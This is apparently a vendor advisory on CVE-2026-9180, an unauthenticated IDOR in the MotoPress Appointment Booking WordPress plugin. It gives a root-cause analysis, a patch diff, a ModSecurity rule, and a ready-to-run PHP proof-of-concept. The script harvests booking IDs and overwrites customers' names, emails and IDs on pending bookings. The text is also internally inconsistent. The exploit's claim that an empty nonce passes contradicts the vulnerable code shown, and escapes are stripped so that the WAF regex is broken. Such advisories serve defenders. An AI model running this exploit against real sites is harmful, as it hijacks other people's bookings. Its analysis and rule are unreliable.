Atomic Edge analysis of CVE-2026-9180: This vulnerability affects the MotoPress Appointment Booking plugin for WordPress, version 2.4.4 and earlier. It allows unauthenticated attackers to overwrite customer data on existing, non-confirmed bookings due to an insecure direct object reference (IDOR) in the REST API. The flaw has a CVSS score of 5.3, indicating medium severity.
The root cause lies in the BookingsRestController.php file. The createBooking method (lines 101-133 of the vulnerable code) registers the POST /motopress/appointment/v1/bookings REST endpoint with ‘permission_callback’ => ‘__return_true’, meaning any unauthenticated user can call it. The code accepts a user-supplied payment_details.booking_id value without checking if the user owns or has rights to that booking. It then loads the booking via mpapp()->repositories()->booking()->findById() and passes it to BookingService::createBooking(). The BookingService function overwrites customer name, email, phone, and customer_id with attacker-supplied values, then persists the booking. The findDrafts function (lines 196-208) originally validated only that the booking was an ‘auto-draft’, but this was removed from the main createBooking path in vulnerable versions, leaving the IDOR exposed.
An attacker can exploit this by first harvesting booking IDs from the publicly accessible GET /motopress/appointment/v1/bookings/reservations endpoint. This endpoint requires only a guessable service_id and date range. The attacker queries this endpoint without authentication to obtain a list of booking IDs. The attacker then selects a target booking that is not in STATUS_CONFIRMED status, such as ‘pending’ or ‘auto-draft’. Finally, the attacker sends a POST request to /motopress/appointment/v1/bookings with a JSON body containing payment_details.booking_id set to the target ID, customer details (name, email, phone), and an empty reservations array. Since the request lacks any authorization check for the booking, the attacker overwrites the victim’s customer data.
The patch has three critical changes. First, in the createBooking method (lines 101-133), the nonce check now uses a nonce tied to the specific booking ID: wp_verify_nonce($nonce, “mpa_create_booking_{$bookingId}”). This forces the attacker to know a valid nonce for that specific booking, which is only generated server-side and returned in the initial booking creation response. Second, the findDrafts method (lines 196-208) now restricts loading only payments with ‘auto-draft’ status, preventing reuse of confirmed or pending bookings. Third, the createDraftsArray method no longer passes $isPaymentsEnabled to findDrafts unless payments are enabled, tightening the draft recovery logic. The patch also ensures that only bookings with matching payment and status are reloaded, preventing arbitrary booking ID substitution.
The impact allows an unauthenticated attacker to modify the customer identity on any non-confirmed booking. This could result in a victim losing their booking reservation or having it reassigned to the attacker. The attacker can overwrite customer_id, email, name, and phone fields. In scenarios where the booking is linked to payment processing, the attacker could potentially hijack the payment flow. The attack does not require authentication and exploits a public REST API endpoint with no authorization checks.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/motopress-appointment-lite/includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php
+++ b/motopress-appointment-lite/includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php
@@ -3,7 +3,7 @@
namespace MotoPressAppointmentRESTControllersMotopressAppointmentV1;
use MotoPressAppointmentCronsDeleteDraftBookingsCron;
-use MotoPressAppointmentEntitiesReservation;
+use MotoPressAppointmentEntities{ Booking, Payment, Reservation };
use MotoPressAppointmentHelpersAvailabilityHelper;
use MotoPressAppointmentPostTypesStatusesBookingStatuses;
use MotoPressAppointmentRestApiHelper;
@@ -101,18 +101,33 @@
*/
public function createBooking( $request ) {
$order = $request->get_params();
- $nonce = $order['nonce'] ?? null;
- if ( ! $nonce || ! wp_verify_nonce( $nonce, 'mpa_create_booking' ) ) {
+ $bookingId = 0; // Auto-draft ID, if exists (only with payments)
+
+ if ( mpapp()->settings()->isPaymentsEnabled()
+ && isset( $order['payment_details']['booking_id'] )
+ ) {
+ $bookingId = absint( $order['payment_details']['booking_id'] );
+ }
+
+ $nonceOk = false;
+
+ if ( isset( $order['nonce'] ) ) {
+ if ( mpapp()->settings()->isPaymentsEnabled() ) {
+ $nonceOk = wp_verify_nonce( $order['nonce'], "mpa_create_booking_{$bookingId}" );
+ } else {
+ $nonceOk = wp_verify_nonce( $order['nonce'], 'mpa_create_booking' );
+ }
+ }
+
+ if ( ! $nonceOk ) {
return new WP_Error( 'failed_request', esc_html__( 'Unable to make a reservation. Your request did not pass the security check.', 'motopress-appointment' ) );
}
$booking = null;
- if ( mpapp()->settings()->isPaymentsEnabled()
- && isset( $order['payment_details']['booking_id'] )
- ) {
- $booking = mpapp()->repositories()->booking()->findById( $order['payment_details']['booking_id'] );
+ if ( $bookingId ) {
+ $booking = mpapp()->repositories()->booking()->findById( $bookingId );
}
// Prevent processing of already processed bookings
@@ -181,50 +196,29 @@
/**
- * @param $order
- * @param $isPaymentsEnabled
- *
- * @return array [
- * 'booking' => $booking,
- * 'payment' => $payment
- * ]
- *
* @since 1.23.0
+ *
+ * @param array $order
+ * @return array {
+ * @type Booking $booking
+ * @type Payment $payment
+ * }
*/
- protected function findDrafts( $order, $isPaymentsEnabled ) {
+ protected function findDrafts( $order ) {
if ( ! isset( $order['payment_details']['booking_id'] ) ) {
return array();
}
- $bookingId = intval( $order['payment_details']['booking_id'] );
-
- if ( ! $bookingId ||
- absint( $bookingId ) !== absint( $order['payment_details']['booking_id'] )
- ) {
- return array();
- }
-
+ $bookingId = absint( $order['payment_details']['booking_id'] );
$booking = mpapp()->repositories()->booking()->findById( $bookingId );
- if ( ! $booking ) {
- return array();
- }
-
- if ( $booking->getStatus() !== 'auto-draft' ) {
- return array();
- }
-
- if ( ! $isPaymentsEnabled ) {
+ if ( ! $booking || $booking->getStatus() !== 'auto-draft' ) {
return array();
}
$payment = $booking->getExpectingPayment();
- if ( ! $payment ) {
- return array();
- }
-
- if ( $payment->getStatus() !== 'auto-draft' ) {
+ if ( ! $payment || $payment->getStatus() !== 'auto-draft' ) {
return array();
}
@@ -235,25 +229,31 @@
}
/**
- * @param $order
- * @param $isPaymentsEnabled
- *
- * @return array
* @since 1.23.0
+ *
+ * @param array $order
+ * @param bool $isPaymentsEnabled
+ * @return array {
+ * @type int $booking_id
+ * @type string $booking_uid
+ * @type int $payment_id
+ * @type string $payment_uid
+ * }
*/
protected function createDraftsArray( $order, $isPaymentsEnabled ) {
- /**
- * Relevant only for confirmation upon payment mode and multi-booking mode at the same time.
- */
- $draftEntities = $this->findDrafts( $order, $isPaymentsEnabled );
-
- if ( count( $draftEntities ) ) {
- return array(
- 'booking_id' => $draftEntities['booking']->getId(),
- 'booking_uid' => $draftEntities['booking']->getUid(),
- 'payment_id' => $draftEntities['payment']->getId(),
- 'payment_uid' => $draftEntities['payment']->getUid(),
- );
+ if ( $isPaymentsEnabled ) {
+ // Relevant only for confirmation upon payment mode and
+ // multi-booking mode at the same time
+ $draftEntities = $this->findDrafts( $order );
+
+ if ( ! empty( $draftEntities ) ) {
+ return array(
+ 'booking_id' => $draftEntities['booking']->getId(),
+ 'booking_uid' => $draftEntities['booking']->getUid(),
+ 'payment_id' => $draftEntities['payment']->getId(),
+ 'payment_uid' => $draftEntities['payment']->getUid(),
+ );
+ }
}
return mpa_draft_booking( array( 'payment' => $isPaymentsEnabled ) );
@@ -276,7 +276,7 @@
$isPaymentsEnabled = mpapp()->settings()->isPaymentsEnabled();
$drafts = $this->createDraftsArray( $order, $isPaymentsEnabled );
- $order['payment_details']['booking_id'] = $drafts['booking_id'];
+ $order['payment_details']['booking_id'] = $bookingId = $drafts['booking_id'];
$bookingService = new BookingService();
$booking = $bookingService->createBooking( $order );
@@ -306,10 +306,11 @@
DeleteDraftBookingsCron::schedule();
$response = array(
- 'booking_id' => $drafts['booking_id'],
+ 'booking_id' => $bookingId,
+ 'booking_nonce' => wp_create_nonce( "mpa_create_booking_{$bookingId}" ),
// TODO: Response param $response[payment_id] need only for backward
// compatibility with a mpa-woocommerce addon v1.0.0
- 'payment_id' => $drafts['payment_id'],
+ 'payment_id' => $drafts['payment_id'],
);
return rest_ensure_response( $response );
--- a/motopress-appointment-lite/motopress-appointment.php
+++ b/motopress-appointment-lite/motopress-appointment.php
@@ -3,7 +3,7 @@
* Plugin Name: Appointment Booking Lite
* Plugin URI: https://motopress.com/products/appointment-booking/
* Description: MotoPress Appointment Booking makes it easy for time and service-based businesses to accept bookings and appointments online.
- * Version: 2.4.4
+ * Version: 2.4.5
* Requires at least: 5.3
* Requires PHP: 7.4
* Author: MotoPress
@@ -19,7 +19,7 @@
if ( ! defined( 'MotoPressAppointmentVERSION' ) ) {
- define( 'MotoPressAppointmentVERSION', '2.4.4' );
+ define( 'MotoPressAppointmentVERSION', '2.4.5' );
define( 'MotoPressAppointmentPLUGIN_FILE', __FILE__ );
require 'includes/defines.php';
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-9180
# Block unauthenticated POST requests to the vulnerable REST endpoint that supply a booking_id in payment_details
SecRule REQUEST_METHOD "@streq POST" "id:20269180,phase:2,deny,status:403,chain,msg:'CVE-2026-9180 - MotoPress Appointment Booking IDOR via REST API',severity:'CRITICAL',tag:'CVE-2026-9180',tag:'wordpress',tag:'motopress-appointment'"
SecRule REQUEST_URI "@rx ^/wp-json/motopress/appointment/v1/bookings$" "chain"
SecRule ARGS_POST:payment_details/booking_id "@rx ^d+$" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9180 - MotoPress Appointment Booking <= 2.4.4 - Unauthenticated IDOR to 'payment_details.booking_id' Parameter
$target_url = 'http://example.com'; // Change this to the target WordPress site
$api_base = $target_url . '/wp-json/motopress/appointment/v1/bookings';
// Step 1: Enumerate existing booking IDs by querying the public reservations endpoint
// Requires a valid service_id. Adjust the service_id, start_date, and end_date as needed.
$reservations_url = $target_url . '/wp-json/motopress/appointment/v1/bookings/reservations?service_id=1&start_date=' . date('Y-m-d') . '&end_date=' . date('Y-m-d', strtotime('+30 days')) . '&count=100';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $reservations_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$response = curl_exec($ch);
curl_close($ch);
echo "[+] Querying reservations endpoint...n";
$reservations = json_decode($response, true);
if (empty($reservations) || !is_array($reservations)) {
die("[-] No reservations found. Check service_id and date range.n");
}
echo "[+] Found " . count($reservations) . " reservations.n";
// Step 2: For each reservation, try to exploit the booking ID associated with it
// The reservation objects often contain booking_id or payment_details.booking_id
foreach ($reservations as $reservation) {
// Extract booking ID from reservation data. This may vary.
$booking_id = $reservation['booking_id'] ?? $reservation['payment_details']['booking_id'] ?? 0;
if (empty($booking_id)) {
continue;
}
echo "[+] Attempting IDOR on booking ID: $booking_idn";
// Step 3: Craft POST request to overwrite customer data
// The request must include empty reservations to trigger the vulnerable code path
$payload = array(
'nonce' => '', // Empty or invalid nonce is accepted because permission_callback is __return_true
'payment_details' => array(
'booking_id' => $booking_id
),
'customer' => array(
'name' => 'Attacker Name',
'email' => 'attacker@example.com',
'phone' => '1234567890'
),
'customer_id' => 999999, // Arbitrary user ID
'reservations' => array() // Empty reservations forces the vulnerable path
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_base);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo " HTTP Code: $http_coden";
if ($http_code == 200 || $http_code == 201) {
echo " [+] Successfully overwritten booking ID: $booking_idn";
echo " Response: " . substr($response, 0, 200) . "n";
break; // Exit after first successful exploitation
} else {
echo " [-] Failed on booking ID: $booking_idn";
}
}
echo "[+] Exploitation attempt complete.n";
?>